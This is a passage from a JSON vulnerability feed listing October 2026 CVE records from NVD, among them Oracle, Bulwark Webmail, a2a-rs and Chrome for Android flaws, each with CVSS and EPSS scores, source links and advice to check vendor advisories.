2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-47025","cveId":"CVE-2026-47025","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).","summary":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).  Supported versions that are affected are 11.3 and  11.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).  Supported versions that are affected are 11.3 and  11.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:31.033Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-47025","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00447,"percentile":0.38569,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-47025&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-47025","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47025","type":"primary","publishedAt":"2026-10-20T22:19:31.033Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-47025&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-47025, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113728","cveId":"CVE-2026-113728","aliases":[],"kind":"vulnerability","title":"Bulwark Webmail is a self-hosted webmail client for Stalwart Mail Server.","summary":"Bulwark Webmail is a self-hosted webmail client for Stalwart Mail Server. Prior to 1.9.2, the unauthenticated POST /api/fetch-ical endpoint validates a caller-supplied hostname with one DNS lookup and then passes the URL to fetch, which performs a separate lookup for the socket connection. An attacker controlling authoritative DNS can return a public address during validation and then rebind the hostname to a loopback, private, link-local, or cloud metadata address for the connection, causing the server to return up to 10 MB of an internal HTTP or HTTPS response. The same check-then-fetch pattern also existed in authenticated JMAP login and TOTP token-exchange flows. This issue is fixed in version 1.9.2.","detail":"Bulwark Webmail is a self-hosted webmail client for Stalwart Mail Server. Prior to 1.9.2, the unauthenticated POST /api/fetch-ical endpoint validates a caller-supplied hostname with one DNS lookup and then passes the URL to fetch, which performs a separate lookup for the socket connection. An attacker controlling authoritative DNS can return a public address during validation and then rebind the hostname to a loopback, private, link-local, or cloud metadata address for the connection, causing the server to return up to 10 MB of an internal HTTP or HTTPS response. The same check-then-fetch pattern also existed in authenticated JMAP login and TOTP token-exchange flows. This issue is fixed in version 1.9.2.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:29.740Z","updatedAt":"2026-10-22T16:47:38.403Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113728","asOf":"2026-10-22T16:47:38.403Z"},"epss":{"probability":0.00507,"percentile":0.42979,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113728&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113728","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113728","type":"primary","publishedAt":"2026-10-20T22:19:29.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113728&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113728, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113704","cveId":"CVE-2026-113704","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in a2aproject a2a-rs up to 0.4.3. This affects the function HttpPushSender of the file crates/server/src/push_notification_sender.rs of the...","summary":"A vulnerability has been found in a2aproject a2a-rs up to 0.4.3. This affects the function HttpPushSender of the file crates/server/src/push_notification_sender.rs of the component Push Notification Handler. Such manipulation of the argument TaskPushNotificationConfig leads to server-side request forgery. The attack may be launched remotely. The name of the patch is 2ba50176ea9f222d9a7d0f0e8cfe6fae7cf4c224. Applying a patch is advised to resolve this issue.","detail":"A vulnerability has been found in a2aproject a2a-rs up to 0.4.3. This affects the function HttpPushSender of the file crates/server/src/push_notification_sender.rs of the component Push Notification Handler. Such manipulation of the argument TaskPushNotificationConfig leads to server-side request forgery. The attack may be launched remotely. The name of the patch is 2ba50176ea9f222d9a7d0f0e8cfe6fae7cf4c224. Applying a patch is advised to resolve this issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:29.230Z","updatedAt":"2026-10-21T16:17:24.723Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113704","asOf":"2026-10-21T16:17:24.723Z"},"epss":{"probability":0.00512,"percentile":0.43397,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113704&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113704","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113704","type":"primary","publishedAt":"2026-10-20T22:19:29.230Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113704&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113704, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113180","cveId":"CVE-2026-113180","aliases":[],"kind":"vulnerability","title":"Memory corruption in ContentCapture in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Memory corruption in ContentCapture in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in ContentCapture in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:10.760Z","updatedAt":"2026-10-21T14:25:17.987Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Google Chrome","Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113180","asOf":"2026-10-21T14:25:17.987Z"},"epss":{"probability":0.00369,"percentile":0.30501,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113180&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113180","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113180","type":"primary","publishedAt":"2026-10-20T22:19:10.760Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113180&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113180, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113170","cveId":"CVE-2026-113170","aliases":[],"kind":"vulnerability","title":"Use after free in Autofill in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Autofill in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Autofill in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:09.667Z","updatedAt":"2026-10-21T14:27:19.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Google Chrome","Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113170","asOf":"2026-10-21T14:27:19.970Z"},"epss":{"probability":0.00327,"percentile":0.25591,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113170&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113170","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113170","type":"primary","publishedAt":"2026-10-20T22:19:09.667Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113170&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113170, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113083","cveId":"CVE-2026-113083","aliases":[],"kind":"vulnerability","title":"Memory corruption in Actor in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Actor in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in Actor in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:59.940Z","updatedAt":"2026-10-21T14:25:17.987Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Google Chrome","Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113083","asOf":"2026-10-21T14:25:17.987Z"},"epss":{"probability":0.00357,"percentile":0.2917,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113083&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113083","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113083","type":"primary","publishedAt":"2026-10-20T22:18:59.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113083&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113083, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113080","cveId":"CVE-2026-113080","aliases":[],"kind":"vulnerability","title":"Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:59.600Z","updatedAt":"2026-10-21T14:25:17.987Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Google Chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113080","asOf":"2026-10-21T14:25:17.987Z"},"epss":{"probability":0.00467,"percentile":0.40153,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113080&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113080","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113080","type":"primary","publishedAt":"2026-10-20T22:18:59.600Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113080&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113080, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113079","cveId":"CVE-2026-113079","aliases":[],"kind":"vulnerability","title":"Use after free in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:59.493Z","updatedAt":"2026-10-21T14:25:17.987Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Google Chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113079","asOf":"2026-10-21T14:25:17.987Z"},"epss":{"probability":0.00369,"percentile":0.305,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113079&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113079","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113079","type":"primary","publishedAt":"2026-10-20T22:18:59.493Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113079&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113079, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113076","cveId":"CVE-2026-113076","aliases":[],"kind":"vulnerability","title":"Use after free in Toolbar in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Toolbar in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Toolbar in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:59.163Z","updatedAt":"2026-10-21T14:25:17.987Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Google Chrome","Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113076","asOf":"2026-10-21T14:25:17.987Z"},"epss":{"probability":0.00392,"percentile":0.33067,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113076&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113076","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113076","type":"primary","publishedAt":"2026-10-20T22:18:59.163Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113076&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113076, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101854","cveId":"CVE-2026-101854","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:41.420Z","updatedAt":"2026-10-24T04:18:16.677Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101854","asOf":"2026-10-24T04:18:16.677Z"},"epss":{"probability":0.00447,"percentile":0.3857,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101854&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101854","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101854","type":"primary","publishedAt":"2026-10-20T22:18:41.420Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101854&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101854, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101853","cveId":"CVE-2026-101853","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:41.297Z","updatedAt":"2026-10-24T04:18:16.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101853","asOf":"2026-10-24T04:18:16.513Z"},"epss":{"probability":0.00447,"percentile":0.38568,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101853&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 